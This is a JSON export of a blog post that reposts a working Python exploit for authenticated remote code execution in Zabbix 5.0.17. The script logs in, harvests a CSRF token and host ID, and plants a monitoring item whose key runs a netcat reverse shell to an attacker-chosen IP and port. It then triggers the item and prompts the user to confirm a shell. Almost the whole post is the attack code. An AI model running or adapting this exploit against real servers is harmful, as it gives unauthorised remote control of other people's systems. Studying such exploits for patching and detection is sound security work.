{"id":21496,"date":"2022-03-10T20:40:01","date_gmt":"2022-03-10T17:40:01","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166256\/zabbix5017-exec.txt"},"modified":"2022-03-12T08:18:29","modified_gmt":"2022-03-12T04:48:29","slug":"zabbix-5-0-17-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/zabbix-5-0-17-remote-code-execution\/","title":{"rendered":"Zabbix 5.0.17 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Zabbix 5.0.17 &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Date: 9\/3\/2022<br \/>\n# Exploit Author: Hussien Misbah<br \/>\n# Vendor Homepage: https:\/\/www.zabbix.com\/<br \/>\n# Software Link: https:\/\/www.zabbix.com\/rn\/rn5.0.17<br \/>\n# Version: 5.0.17<br \/>\n# Tested on: Linux<br \/>\n# Reference: https:\/\/github.com\/HussienMisbah\/tools\/tree\/master\/Zabbix_exploit<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/python3<br \/>\n# note : this is blind RCE so don&#8217;t expect to see results on the site<br \/>\n# this exploit is tested against Zabbix 5.0.17 only<\/p>\n<p dir=\"ltr\">import sys<br \/>\nimport requests<br \/>\nimport re<br \/>\nimport random<br \/>\nimport string<br \/>\nimport colorama<br \/>\nfrom colorama import Fore<\/p>\n<p dir=\"ltr\">print(Fore.YELLOW+&#8221;[*] this exploit is tested against Zabbix 5.0.17 only&#8221;)<br \/>\nprint(Fore.YELLOW+&#8221;[*] can reach the author @ https:\/\/hussienmisbah.github.io\/&#8221;)<\/p>\n<p dir=\"ltr\">def item_name() :<br \/>\nletters = string.ascii_letters<br \/>\nitem = &#8221;.join(random.choice(letters) for i in range(20))<br \/>\nreturn item<\/p>\n<p dir=\"ltr\">if len(sys.argv) != 6 :<br \/>\nprint(Fore.RED +&#8221;[!] usage : .\/expoit.py &lt;target url&gt; &lt;username&gt; &lt;password&gt; &lt;attacker ip&gt; &lt;attacker port&gt;&#8221;)<br \/>\nsys.exit(-1)<\/p>\n<p dir=\"ltr\">url = sys.argv[1]\nusername =sys.argv[2]\npassword = sys.argv[3]\nhost = sys.argv[4]\nport = sys.argv[5]\n<p dir=\"ltr\">s = requests.Session()<\/p>\n<p dir=\"ltr\">headers ={<br \/>\n&#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0&#8221;,<br \/>\n}<\/p>\n<p dir=\"ltr\">data = {<br \/>\n&#8220;request&#8221;:&#8221;hosts.php&#8221;,<br \/>\n&#8220;name&#8221; : username ,<br \/>\n&#8220;password&#8221; : password ,<br \/>\n&#8220;autologin&#8221; :&#8221;1&#8243; ,<br \/>\n&#8220;enter&#8221;:&#8221;Sign+in&#8221;<br \/>\n}<\/p>\n<p dir=\"ltr\">proxies = {<br \/>\n&#8216;http&#8217;: &#8216;http:\/\/127.0.0.1:8080&#8217;<br \/>\n}<\/p>\n<p dir=\"ltr\">r = s.post(url+&#8221;\/index.php&#8221;,data=data) #proxies=proxies)<\/p>\n<p dir=\"ltr\">if &#8220;Sign out&#8221; not in r.text :<br \/>\nprint(Fore.RED +&#8221;[!] Authentication failed&#8221;)<br \/>\nsys.exit(-1)<br \/>\nif &#8220;Zabbix 5.0.17&#8243; not in r.text :<br \/>\nprint(Fore.RED +&#8221;[!] This is not Zabbix 5.0.17&#8221;)<br \/>\nsys.exit(-1)<\/p>\n<p dir=\"ltr\">if &#8220;filter_hostids%5B0%5D=&#8221; in r.text :<br \/>\ntry :<br \/>\nx = re.search(&#8216;filter_hostids%5B0%5D=(.*?)&#8221;&#8216;, r.text)<br \/>\nhostId = x.group(1)<br \/>\nexcept :<br \/>\nprint(Fore.RED +&#8221;[!] Exploit failed to resolve HostID&#8221;)<br \/>\nprint(Fore.BLUE +&#8221;[?] you can find it under \/items then add item&#8221;)<br \/>\nsys.exit(-1)<br \/>\nelse :<br \/>\nprint(Fore.RED +&#8221;[!] Exploit failed to resolve HostID&#8221;)<br \/>\nprint(Fore.BLUE +&#8221;[?] you can find HostID under \/items then add item&#8221;)<br \/>\nsys.exit(-1)<\/p>\n<p dir=\"ltr\">sid= re.search(&#8216;&lt;meta name=&#8221;csrf-token&#8221; content=&#8221;(.*)&#8221;\/&gt;&#8217;,r.text).group(1) # hidden_csrf_token<\/p>\n<p dir=\"ltr\">command=f&#8221;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|sh -i 2&gt;&amp;1|nc {host} {port} &gt;\/tmp\/f&#8221;<\/p>\n<p dir=\"ltr\">payload = f&#8221;system.run[{command},nowait]&#8221;<br \/>\nRandom_name = item_name()<br \/>\ndata2 ={<\/p>\n<p dir=\"ltr\">&#8220;sid&#8221;:sid,&#8221;form_refresh&#8221;:&#8221;1&#8243;,&#8221;form&#8221;:&#8221;create&#8221;,&#8221;hostid&#8221;:hostId,&#8221;selectedInterfaceId&#8221;:&#8221;0&#8243;,&#8221;name&#8221;:Random_name,&#8221;type&#8221;:&#8221;0&#8243;,&#8221;key&#8221;:payload,&#8221;url&#8221;:&#8221;&#8221;,&#8221;query_fields[name][1]&#8221;:&#8221;&#8221;,&#8221;query_fields[value][1]&#8221;:&#8221;&#8221;,&#8221;timeout&#8221;:&#8221;3s&#8221;,&#8221;post_type&#8221;:&#8221;0&#8243;,&#8221;posts&#8221;:&#8221;&#8221;,&#8221;headers[name][1]&#8221;:&#8221;&#8221;,&#8221;headers[value][1]&#8221;:&#8221;&#8221;,&#8221;status_codes&#8221;:&#8221;200&#8243;,&#8221;follow_redirects&#8221;:&#8221;1&#8243;,&#8221;retrieve_mode&#8221;:&#8221;0&#8243;,&#8221;http_proxy&#8221;:&#8221;&#8221;,&#8221;http_username&#8221;:&#8221;&#8221;,&#8221;http_password&#8221;:&#8221;&#8221;,&#8221;ssl_cert_file&#8221;:&#8221;&#8221;,&#8221;ssl_key_file&#8221;:&#8221;&#8221;,&#8221;ssl_key_password&#8221;:&#8221;&#8221;,&#8221;interfaceid&#8221;:&#8221;1&#8243;,&#8221;params_es&#8221;:&#8221;&#8221;,&#8221;params_ap&#8221;:&#8221;&#8221;,&#8221;params_f&#8221;:&#8221;&#8221;,&#8221;value_type&#8221;:&#8221;3&#8243;,&#8221;units&#8221;:&#8221;&#8221;,&#8221;delay&#8221;:&#8221;1m&#8221;,&#8221;delay_flex[0][type]&#8221;:&#8221;0&#8243;,&#8221;delay_flex[0][delay]&#8221;:&#8221;&#8221;,&#8221;delay_flex[0][schedule]&#8221;:&#8221;&#8221;,&#8221;delay_flex[0][period]&#8221;:&#8221;&#8221;,&#8221;history_mode&#8221;:&#8221;1&#8243;,&#8221;history&#8221;:&#8221;90d&#8221;,&#8221;trends_mode&#8221;:&#8221;1&#8243;,&#8221;trends&#8221;:&#8221;365d&#8221;,&#8221;valuemapid&#8221;:&#8221;0&#8243;,&#8221;new_application&#8221;:&#8221;&#8221;,&#8221;applications[]&#8221;:&#8221;0&#8243;,&#8221;inventory_link&#8221;:&#8221;0&#8243;,&#8221;description&#8221;:&#8221;&#8221;,&#8221;status&#8221;:&#8221;0&#8243;,&#8221;add&#8221;:&#8221;Add&#8221;<br \/>\n}<\/p>\n<p dir=\"ltr\">r2 =s.post(url+&#8221;\/items.php&#8221; ,data=data2,headers=headers,cookies={&#8220;tab&#8221;:&#8221;0&#8243;} )<\/p>\n<p dir=\"ltr\">no_pages= r2.text.count(&#8220;?page=&#8221;)<\/p>\n<p dir=\"ltr\">#################################################[Searching in all pages for the uploaded item]#################################################<br \/>\npage = 1<br \/>\nflag=False<br \/>\nwhile page &lt;= no_pages :<br \/>\nr_page=s.get(url+f&#8221;\/items.php?page={page}&#8221; ,headers=headers )<br \/>\nif Random_name in r_page.text :<br \/>\nprint(Fore.GREEN+&#8221;[+] the payload has been Uploaded Successfully&#8221;)<br \/>\nx2 = re.search(rf&#8221;(\\d+)[^\\d]&gt;{Random_name}&#8221;,r_page.text)<br \/>\ntry :<br \/>\nitemId=x2.group(1)<br \/>\nexcept :<br \/>\npass<\/p>\n<p dir=\"ltr\">print(Fore.GREEN+f&#8221;[+] you should find it at {url}\/items.php?form=update&amp;hostid={hostId}&amp;itemid={itemId}&#8221;)<br \/>\nflag=True<br \/>\nbreak<\/p>\n<p dir=\"ltr\">else :<br \/>\npage +=1<\/p>\n<p dir=\"ltr\">if flag==False :<br \/>\nprint(Fore.BLUE +&#8221;[?] do you know you can&#8217;t upload same key twice ?&#8221;)<br \/>\nprint(Fore.BLUE +&#8221;[?] maybe it is already uploaded so set the listener and wait 1m&#8221;)<br \/>\nprint(Fore.BLUE +&#8221;[*] change the port and try again&#8221;)<br \/>\nsys.exit(-1)<\/p>\n<p dir=\"ltr\">#################################################[Executing the item]#################################################<\/p>\n<p dir=\"ltr\">data2[&#8220;form&#8221;] =&#8221;update&#8221;<br \/>\ndata2[&#8220;selectedInterfaceId&#8221;] = &#8220;1&#8221;<br \/>\ndata2[&#8220;check_now&#8221;]=&#8221;Execute+now&#8221;<br \/>\ndata2.pop(&#8220;add&#8221;,None)<br \/>\ndata2[&#8220;itemid&#8221;]=itemId,<\/p>\n<p dir=\"ltr\">print(Fore.GREEN+f&#8221;[+] set the listener at {port} please&#8230;&#8221;)<\/p>\n<p dir=\"ltr\">r2 =s.post(url+&#8221;\/items.php&#8221; ,data=data2,headers=headers,cookies={&#8220;tab&#8221;:&#8221;0&#8243;}) # ,proxies=proxies )<\/p>\n<p dir=\"ltr\">print(Fore.BLUE+ &#8220;[?] note : it takes up to +1 min so be patient :)&#8221;)<br \/>\nanswer =input(Fore.BLUE+&#8221;[+] got a shell ? [y]es\/[N]o: &#8220;)<\/p>\n<p dir=\"ltr\">if &#8220;y&#8221; in answer.lower() :<br \/>\nprint(Fore.GREEN+&#8221;Nice !&#8221;)<br \/>\nelse :<br \/>\nprint(Fore.RED+&#8221;[!] if you find out why please contact me &#8220;)<\/p>\n<p dir=\"ltr\">sys.exit(0)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Zabbix 5.0.17 &#8211; Remote Code Execution (RCE) (Authenticated) # Date: 9\/3\/2022 # Exploit Author: Hussien Misbah # Vendor Homepage: https:\/\/www.zabbix.com\/ # Software Link: https:\/\/www.zabbix.com\/rn\/rn5.0.17 # Version: 5.0.17 # Tested on: Linux # Reference: https:\/\/github.com\/HussienMisbah\/tools\/tree\/master\/Zabbix_exploit #!\/usr\/bin\/python3 # note : this is blind RCE so don&#8217;t expect to see results on the site # &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21496","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21496","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21496"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21496\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21496"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21496"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21496"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}